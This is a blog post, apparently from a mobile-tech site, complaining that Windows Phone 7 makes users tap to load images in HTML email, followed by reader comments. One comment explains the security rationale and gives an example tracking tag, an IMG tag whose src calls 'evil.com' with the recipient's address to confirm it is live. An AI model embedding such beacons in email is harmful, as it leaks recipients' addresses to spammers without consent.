Microsoft Continues To Screw Up HTML Email In WP7
Raise your hand if you’ve used Windows Mobile and thought that it’s ridiculous that every time you get an html email with embedded images that you need to press somewhere to get the content. And of course if you’re offline that means no soup for you. Well with the mobile world trotting forward and both Apple and Google automatically downloading (and loading) html with embedded images that should guarantee that Windows Phone 7 will automatically load embedded html emails, right? Yeah…fail. Take a look at that images that Herm (hermssoftware.com) snapped on his dev device. [And by the way clicking the “read about privacy” link gives you “Avoid junk mail by only downloading pictures from senders you trust. This can verify your email to a junk mail sender.”]
Just like Windows Mobile. And if you don’t have the whole email downloaded then you have to download the entire email, then click to download the pictures separately. They’ve always said that this was a security feature. It’s a nuisance. On your PC you can set contacts as trusted and then it downloads the content automatically. It doesn’t appear to be implemented on WP7 but quite frankly I’m not sure I care. There should be an option to automatically always download this content. On a mobile device it’s really annoying to sit there and wait for the content to download and load and it’s an aesthetics problem as much as anything else. Here’s a device for the mass population but email looks like garbage because of MS’s security fear that’s not realized on mobile device. In short, stop f#cking it up and fix it!
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Is not such a big deal for me, is just a click though.
First, I’m sure there’s an option because this has been demoed with full HTML mail showing up. Secondly, this is also how it is in GMail and a bunch of other services. Not everyone wants to waste bandwidth downloading every picture… especially since HTML mail is usually mass mail from companies, not mail from friends that I’m actually interested in
@Craig S:
It is not an option on these devices – but as the article states, it should be like on those services you mentioned. Since WM5, there is NO OPTION to allow all images to default on. You always have to hit ‘show pictures’ on each individual email.
Alright, calm down. Its not the end of the world…
This is my first visit to this site, are the articles always like this?
@Blacked Out – Check the author (me) I’m very pro-WP7. This however I hate. I’ve always hated dealing with this in WM6.5 and earlier and I thought they’d finally change it so we don’t have to deal with it. If I’m using my phone that means I’m not at my desk and often that means I’m on a subway…thus no way to download more.
As for this being a data issue, the phone is pushing facebook photos left and right and this is where it draws the line?
Eh, not a big deal really. How many images do you get in an email that this is actually going to be a problem? Rather, how many important emails come across with images in-line?
My Nexus One did it and my Touch Pro did it too. Would it be nice? maybe but its not a big deal.
Like DavidK i’m very pro-WP7. I had to use this HTML download feature this morning and it sucked. Absolutely hate that this remains in WP7. Of all the things to carry over, ugh!
@ Ivan – it’s usually not important emails…it’s fun emails. You know, like when someone sends you a link to an online album or a blog post feed or something like that and you can’t see the images. WP7 is supposed to cover the fun parts of life as well.
So why can’t MS just provide an option to load full HTML if an email address is already on your contacts list. If it’s a website you frequent (but don’t necessarily call) just add them to your list. Blocks out unwanted HTML downloads (Microsoft’s objective) and allows users to see the full content that trusted contacts send them. Seems simple enough.
The author is right. HTML email is the new standard. Plain text is for SMS and tweets. Non-Microsoft smartphones all have built-in HTML5 browser cores that render their email in living color. Nerds may understand the rationale for not loading images … regular people see a broken email client. Regular people buy 90% of phones.
Microsoft needs to be able to make an email client that is secure enough that it can download images securely … you know, like a Web browser does?
Further, you do Microsoft no favors when you lower the bar for them with Windows Phone 7. If you are a Microsoft user who cares about Windows Phone 7 you should be letting them know what it needs to do to be competitive. It would be better for them to delay it until 2011 than ship another KIN.
Embedded images has been a very old trick by spammers to validate which email addresses are active. Many spam mails contain and evil-server’s logs have a full list of active email addresses. Almost all web mails (Yahoo mail, G-Mail, Hotmail etc) and most other mail clients have become smart enough to never validate active addresses to spammers by giving user a chance to make that decision, and for convenience – a NON-default setting to pull embedded images without seeking user permission. Cloud providers (like MS and Google) can provide the best of both worlds, by pulling the image for every email address (active or not) and caching on cloud, so that active addresses connect to the cloud (and not the rogue server hosting the image) for automatically pulling of the image without user consent when the email is opened.
Correction: IMG tag was cleaned. (good job by comment-filter !!). Adding it as text. Hope it goes through this time. (rest of the text is identical to previous post).
Embedded images has been a very old trick by spammers to validate which email addresses are active. Many spam mails contain IMG tag with src=”http://evil.com?email=user@domain.com” and evil-server’s logs have a full list of active email addresses. Almost all web mails (Yahoo mail, G-Mail, Hotmail etc) and most other mail clients have become smart enough to never validate active addresses to spammers by giving user a chance to make that decision, and for convenience – a NON-default setting to pull embedded images without seeking user permission. Cloud providers (like MS and Google) can provide the best of both worlds, by pulling the image for every email address (active or not) and caching on cloud, so that active addresses connect to the cloud (and not the rogue server hosting the image) for automatically pulling of the image without user consent when the email is opened.
hello there tommy here is there contact info ,ring them for advice , tell them gary d told you to ring